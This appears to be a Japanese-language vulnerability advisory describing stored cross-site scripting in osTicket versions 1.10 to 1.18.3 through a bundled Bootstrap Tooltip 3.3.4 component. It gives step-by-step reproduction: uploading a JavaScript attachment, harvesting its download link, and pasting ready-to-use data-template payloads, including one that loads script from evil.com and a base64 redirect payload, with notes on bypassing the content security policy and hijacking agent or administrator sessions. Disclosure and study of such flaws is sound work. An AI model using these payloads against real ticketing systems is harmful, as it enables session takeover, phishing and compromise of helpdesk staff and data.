
osTicket における脆弱な Bootstrap Tooltip コンポーネントを介した Stored Cross-Site Scripting (XSS)
Enhancesoft osTicket のバージョン 1.10 から 1.17.7、および 1.18.0 から 1.18.3 には、既知の脆弱性を持つ Bootstrap Tooltip 3.3.4 コンポーネント (CVE-2019-8331) が同梱されており、格納型クロスサイトスクリプティング (XSS) の脆弱性が生じています。デフォルトの osTicket 設定では、チケット提出者(「ユーザー」)は事前認証なしでチケットを提出でき、ユーザーの自己登録もデフォルトで有効です。リモートのユーザーは、htmlLawed の HTML サニタイゼーションモジュールを通過するにもかかわらず、閲覧するエージェントまたは管理者のブラウザで任意の JavaScript を実行させる悪意のあるチケットメッセージを作成できます。この問題は、ユーザーがアップロードした JavaScript ファイルが text/javascript の Content-Type で配信され、ブラウザによってアクティブコンテンツとして解釈されることでさらに悪化します。インラインペイロードは Bootstrap Tooltip 3.3.4 が data-template 値を jQuery オブジェクトに解析し、appendTo() または insertAfter() を介して DOM に挿入する方法によって制約されますが、外部スクリプトとして攻撃者の制御するコードを実行すると、これらの制限を回避し、より強力な脆弱性の悪用が可能になります。
テストし、脆弱性を確認:
影響を受けるバージョン:
このコンポーネントは 2015年5月13日 から osTicket コードベースに存在しており、以下の点から明らかです:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cこのコミットは バージョン 1.10 に遡る osTicket リリースタグに関連付けられており、脆弱な Bootstrap Tooltip コンポーネントが複数のメジャーバージョンにわたる広範囲の osTicket リリースに含まれていることを示しています。この長期間の包含は、何年にもわたってリリースされた多くの osTicket バージョンが影響を受けている ことを強く示唆しています。
osTicket は広く使われているオープンソースのチケットシステムで、エンドユーザーがチケット作成や返信の一部としてリッチな HTML コンテンツやファイル添付を提出することを可能にします。
osTicket は3つの主要なユーザーカテゴリを定義しています:
ユーザー によって提出された HTML コンテンツは、後で エージェント または 管理者 のブラウザでレンダリングされる可能性があり、クライアント側の脆弱性の影響を特に大きくします。
まず、エンドユーザーアカウントで認証し、チケット作成ページに移動します。
次に、ペイロードを含む JavaScript ファイル(例: test.js)を作成します。例:
alert(123);
注: デフォルトでは、osTicket は ファイルタイプの制限なし でチケットへの添付を許可しています。

次に、「Issue Details (問題の詳細)」 を入力せずに 「Create Ticket (チケット作成)」 をクリックしてチケットを提出します。
アプリケーションはエラー 「Issue Details is a required field (問題の詳細は必須項目です)」 とともにチケット提出フォームにリダイレクトします。
このページでは、実際にチケットを提出することなく、JavaScript ファイル (test.js) のダウンロードリンクを取得できます。


このリンクを取得したら、チケット提出フォームに戻ります。
HTML エディタをクリックし、以下のペイロードを貼り付け、script タグの src 属性を先ほど取得したリンクに置き換えます。
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
以下は完全なペイロードの例で、[LINK_HERE] パターンが先ほど取得したリンクに置き換えられています:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
その後、チケットを提出します。

管理者またはエージェントが悪意のあるチケットを表示すると、ペイロードがトリガーされます。

結果:
管理者/エージェントが悪意のあるチケットを開くと、JavaScript ペイロードが読み込まれ、管理者/エージェントのセッションコンテキストで実行されます。
これにより 格納型 XSS が発生し、完全なセッション侵害(例: ezXSS を使用した管理者/エージェント操作のための CSRF)が可能になります。
悪意のあるチケットが エージェント によって表示された場合、格納型 XSS はエージェントの認証されたセッションのコンテキストで実行されます。
これにより、攻撃者は セッションクッキーを抽出することなくエージェントのセッションを実質的に乗っ取る ことができます(例: クッキーの流出が現実的でなく、ezXSS などのブラインド XSS プラットフォームが使用されるシナリオでも)。XSS が実行されると、攻撃者は 侵害されたエージェントが許可されている任意の操作 を実行できます。例:
これにより、エージェントの運用能力とチケット処理ワークフローの機密性/整合性が完全に侵害されます。
悪意のあるチケットが 管理者 によって表示された場合、影響はアプリケーション全体の侵害にエスカレートします。攻撃者は:
osTicket のデフォルト設定では JavaScript ファイルのアップロードが許可されていますが、管理パネルでエンドユーザーが JavaScript ファイルをアップロードできないように設定することができます。さらに、エージェントや管理者が使用するスタッフコントロールパネルでは、サードパーティドメインからの JavaScript の実行を防ぐコンテンツセキュリティポリシーが適用されています。例として、以下のペイロードを見てみましょう:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
以下のスクリーンショットは、https://evil.com からのスクリプト読み込みがスタッフコントロールパネルで適用されているコンテンツセキュリティポリシーによってブロックされたことを示しています。

ただし、アプリケーションに実装されているコンテンツセキュリティポリシーはインライン JavaScript を許可しています。

JavaScript ファイルのアップロードがブロックされている場合でも、攻撃者が悪意のある操作を実行することは可能です。以下のペイロードを考えてみましょう:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Base64 ペイロードは次のようにデコードされます:
<script>top.location = "https://example.com";</script>
このペイロードにより、攻撃者は悪意のあるチケットを表示しているエージェントや管理者を任意のウェブサイト(例えばフィッシングサイト)にリダイレクトできます。
上記のペイロードを含むチケットを表示した結果を示します。
